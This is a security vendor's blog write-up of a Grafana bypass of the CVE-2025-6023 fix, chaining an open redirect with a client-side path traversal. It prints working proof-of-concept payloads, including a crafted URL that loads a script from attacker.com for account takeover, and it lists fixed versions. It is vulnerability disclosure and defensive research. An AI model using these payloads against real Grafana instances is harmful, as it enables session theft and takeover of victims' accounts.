Ethiack Blog

Grafana CVE-2025-6023 Bypass: A Technical Deep Dive

Written by André Baptista | 27/11/25 13:30

A new bypass for a previous CVE  in Grafana that circumvents the security fix implemented for CVE-2025-6023, an open redirect that could result in XSS and account takeover. This bypass was originally discovered by @msanft and presented as a challenge during Hack.lu CTF 2025. I solved the challenge while playing with xSTF, and our research team quickly validated the vulnerability across our customer base on October 20 (24 days before the patch), enabling rapid remediation even before the public advisory was released. Please note that a new CVE has not been issued at the time of writing.

Technical Analysis

The exploit leverages two distinct bypasses that, when chained together, allow an attacker to achieve a full account takeover by loading a script from an external URL.

  1. Server-Side Open Redirect (Bypass 1): An initial bypass in the server-side redirectTo validation in /user/auth-tokens/rotate allows the attacker to specify an external domain as the redirect target.
  2. Client-Side Path Traversal (Bypass 2): An second bypass in client-side validation allows an attacker to force a victim's browser to load a dashboard script in /dashboard/script/ from an external URL via a path traversal to the /user/auth-tokens/rotate endpoint.

Bypass 1: Server-Side Open Redirect:

This bypass is the core of this vulnerability. It exploits a flawed validation check in the server-side redirect logic in the login.go#L53 - ValidateRedirectTo() function.

The Root Cause:

Go's url.Parse() function separates a URL's path from its fragment (#), but the validation code only checks the path. The malicious payload is hidden in the fragment, which is ignored by the server-side check but executed by the victim's browser.

  1. Attacker Payload: The server receives a redirectTo parameter: /#/..//\/attacker.com
  2. url.Parse(): The url.Parse(redirectTo) function is called. It correctly splits the string at the #.
    • to.Path: /
    • to.Fragment: /..//\/attacker.com
  3. Flawed Validation: The ValidateRedirectTo function proceeds to check to.Path.
    • to.Path is just /, which is a perfectly safe value.
    • It passes the regex check and the path.Clean() check.
    • The function also returns /, incorrectly approving the redirect.
  4. The Redirect: The handler then constructs a Location header based on the original redirectTo string.
    • The victim's browser receives: Location: /\/attacker.com

Proof of Concept:

An authenticated request to the rotate endpoint with this payload: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\/attacker.com HTTP/1.1 results in a 302 redirect that is a valid open redirect to attacker.com By

Bypass 2: Client-Side Path Traversal

At this point, we only had an open redirect. How could we leverage it to achieve XSS? This second bypass can be used to initiate the attack, forcing the victim's browser to load a script from an arbitrary endpoint in Grafana, such as user/auth-tokens/rotate that will then redirect to the external domain. The vulnerability exists in the sanitize.ts#L147 - validatePath() function:

The Root Cause:

The function performs all its security checks on a transformed string (originalDecoded / cleaned) but returns the original unmodifiedd path string.

  1.  Attacker Input: /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  2. Decoding: The while loop fully decodes the string to: /dashboard/script/?/../../../../user/auth-tokens/rotate
  3. Cleaning: The string is split on ?. The cleaned variable becomes: /dashboard/script/
  4. Validation: The regex check is performed on /dashboard/script/. It finds no path traversal (..) and passes.
  5.  Return: The function returns the original value: /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  6. Navigation: The browser receives this unvalidated path, decodes it, and successfully navigates to the target open redirect on /user/auth-tokens/rotate.

Proof of Concept:

An app with CORS properly configured is needed, such as the following flask app:

And here’s how the two bypasses are combined to steal a user's session.

https://<grafana-instance>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js

Impact
  • Severity: high
  • Attack Vector: Network
  • Privileges Required: None
  • User Action: Required (victim must follow a malicious link)
  • Impact: Grafana account takeover
  • Fixed Versions: >=12.3.0, >=12.2.2, >=12.1.4, >=12.0.7, >=11.6.8

Time-to-Exploit is -1 days

We quickly generated a detection module and notified our customer base to update Grafana as soon as the patch became available. This urgency is especially relevant as shown by recent 2024 threat analysis from Mandiant. Their Time-to-Exploit (TTE) metric, which tracks the average number of days between a patch release and active exploitation, has dropped to -1 days for the first time.

This negative value is a critical shift, indicating that on average, zero-day vulnerabilities are now being actively exploited in the wild before a patch is even available. This trend effectively eliminates any grace period for defense, making proactive discovery and rapid, preemptive remediation more essential than ever.

Acknowledgements

We would like to thank @msanft for the original discovery of this vulnerability and for creating an excellent CTF challenge. Our rapid response enabled our customers to patch their systems ahead of the public advisory, demonstrating the value of security research and automatic module generation.

Until next time,
0xacb & the Ethiack Research team